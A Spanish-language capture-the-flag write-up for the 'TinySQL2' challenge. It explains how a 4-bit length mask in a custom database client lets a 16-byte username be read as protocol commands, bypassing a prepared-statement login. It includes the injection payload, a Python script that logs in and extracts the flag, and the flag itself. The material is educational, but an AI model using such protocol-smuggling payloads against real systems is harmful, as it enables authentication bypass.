TinySQL2
Datos del reto
| Campo | Valor |
|---|---|
| CTF | Batman's Kitchen CTF |
| Reto | TinySQL2 |
| Categoría | Web / Protocol |
| Contexto | "Surely you can't beat a prepared statement. DO NOT BRUTE FORCE THIS" |
| Flag | bkctf{sql_1nj3ct10n_0ver_th3_w1re} |
Descripción del reto
El login usaba prepared statements, pero el fallo no estaba en el SQL. El problema real estaba en cómo el cliente empaquetaba los bind dentro del protocolo binario que usaba para hablar con TinySQL.
Reconocimiento
La aplicación web era Flask y la flag terminaba en /forum/post/3, accesible solo con una sesión válida. Al revisar el código del login se veía algo así.
conn.prepare("S:?:?", (user, pass))
Eso descartaba una SQLi clásica, así que había que revisar el cliente y el servidor de TinySQL.
El protocolo era simple. Cada mensaje llevaba un byte de tipo, un byte de longitud y luego los datos. Los comandos importantes eran estos.
| Tipo | Uso |
|---|---|
p |
preparar statement |
b |
enviar bind |
x |
ejecutar |
El flujo normal del login era este.
- Preparar
S:?:? - Enviar
user - Enviar
pass - Ejecutar
El problema aparecía cuando se miraba cómo se serializaban los binds.
Análisis
La parte rota estaba en el cliente, concretamente en el campo de longitud de cada bind.
STMT_SIZE_MASK = 0x0F
barr.append(len(i) & self.STMT_SIZE_MASK)
Eso significaba que la longitud real se recortaba a 4 bits. En la práctica, cualquier string de 16 bytes terminaba enviándose con longitud 0.
- El servidor recibía el comando
b. - Leía longitud
0. - No consumía ninguno de los bytes reales del dato.
- Los 16 bytes del username se quedaban pendientes en el socket.
En la siguiente vuelta del loop, esos 16 bytes ya no se interpretaban como datos del usuario, sino como nuevos comandos del protocolo. Ese era el bug de verdad. No era SQL injection, sino una inyección en el propio protocolo.
Además, el servidor limpiaba binds cuando ya había 2 valores y llegaba otro bind, así que también se podía manipular el estado interno para que al final execute usara solo el valor que interesaba.
Resolución
Los 16 bytes del username se usaban para reconfigurar el flujo antes de que el backend procesara el password real.
La cadena usada fue esta.
username = "p\x03S:?b\x03ABCb\x01Db\x01E"
password = "0"
Ese bloque de 16 bytes hacía lo siguiente.
- Repreparaba el statement como
S:?, así que pasaba a buscar por ID y ya no por usuario y contraseña. - Metía varios
bindde relleno para dejar el array interno en un estado controlado. - Cuando llegaba el password legítimo, el servidor limpiaba los binds anteriores y se quedaba con
["0"].
Al ejecutar, TinySQL interpretaba ese 0 como userId, devolvía el registro correspondiente y la aplicación creaba la sesión.
Con la sesión activa, solo quedaba pedir el post con la flag.
import re
import requests
TARGET = "https://tinysql-2-dbec1607401161a1.instancer.batmans.kitchen"
session = requests.Session()
session.post(
f"{TARGET}/login",
data={
"user": "p\x03S:?b\x03ABCb\x01Db\x01E",
"pass": "0",
},
allow_redirects=False,
)
resp = session.get(f"{TARGET}/forum/post/3")
print(re.search(r"bkctf\\{[^}]+\\}", resp.text).group(0))
Con eso se entraba como un usuario válido y la flag aparecía directamente en la respuesta.
Flag
bkctf{sql_1nj3ct10n_0ver_th3_w1re}